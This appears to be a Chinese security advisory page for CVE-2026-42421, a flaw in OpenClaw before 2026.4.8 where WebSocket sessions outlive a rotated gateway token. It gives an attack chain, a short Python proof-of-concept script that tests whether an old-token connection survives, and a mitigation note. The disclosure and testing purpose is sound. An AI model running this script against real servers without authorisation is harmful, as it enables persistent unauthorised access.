IPBUF安全漏洞报告
English
CVE-2026-42421 CVSS 5.4 中危

CVE-2026-42421 OpenClaw会话管理漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-42421
漏洞类型
会话管理漏洞
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

会话管理WebSocketOpenClaw权限维持CVE-2026-42421

漏洞概述

OpenClaw 2026.4.8 之前的版本存在会话管理漏洞。当共享网关令牌进行轮换时,现有的 WebSocket 会话未能正确断开连接。攻击者可利用此缺陷,在令牌更新后仍保持对 WebSocket 连接的未授权访问,从而绕过正常的身份验证机制,导致机密性和完整性风险。

技术细节

该漏洞源于 OpenClaw 在处理共享网关令牌轮换时的逻辑缺陷。通常,当安全令牌更新时,系统应终止所有基于旧令牌的活动会话以强制重新认证。然而,受影响版本仅验证新令牌用于建立新连接,而未检查或关闭已建立的 WebSocket 连接。攻击者一旦获得初始访问权限并持有旧令牌建立了 WebSocket 会话,即便管理员在服务器端轮换了共享网关令牌,攻击者的连接依然保持活跃状态。这使得攻击者能够持续监听或发送数据,维持未授权的持久化访问,违反了会话管理的安全原则。

攻击链分析

STEP 1
获取初始访问
攻击者获取有效的共享网关令牌,并使用该令牌建立与 OpenClaw 服务器的 WebSocket 连接。
STEP 2
令牌轮换
管理员或系统执行安全操作,轮换了共享网关令牌,使旧令牌在理论上失效。
STEP 3
维持会话
由于漏洞存在,服务器未断开已建立的 WebSocket 连接。攻击者继续使用持有旧令牌的连接进行通信。
STEP 4
未授权操作
攻击者利用持久化的会话执行未授权操作,窃取数据或发送恶意指令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets # This PoC demonstrates maintaining a WebSocket connection # after the shared gateway token has been rotated. async def check_session_persistence(target_url): # 1. Establish connection with the initial token old_token = "initial_shared_token" uri = f"{target_url}?token={old_token}" print(f"[*] Attempting to connect to {uri}...") try: async with websockets.connect(uri) as websocket: print("[+] Connection established successfully.") # 2. Simulate the scenario where the admin rotates the token print("[!] Simulating token rotation on the server...") # The server changes the valid token to 'new_shared_token' # 3. Attempt to use the existing connection (which should be invalid) print("[*] Attempting to send data via the old connection...") payload = "DATA_FROM_ATTACKER" await websocket.send(payload) response = await websocket.recv() print(f"[+] Server responded: {response}") print("[!] Vulnerability Confirmed: The session survived token rotation.") except Exception as e: print(f"[-] Connection failed or closed: {e}") print("[+] System appears patched (session terminated).") # Usage: asyncio.run(check_session_persistence("ws://target-ip:port/ws"))

影响范围

OpenClaw < 2026.4.8

防御指南

临时缓解措施
建议在无法立即升级补丁的情况下,手动监控并重启 WebSocket 服务,或在轮换令牌时通过防火墙规则强制切断现有的长连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表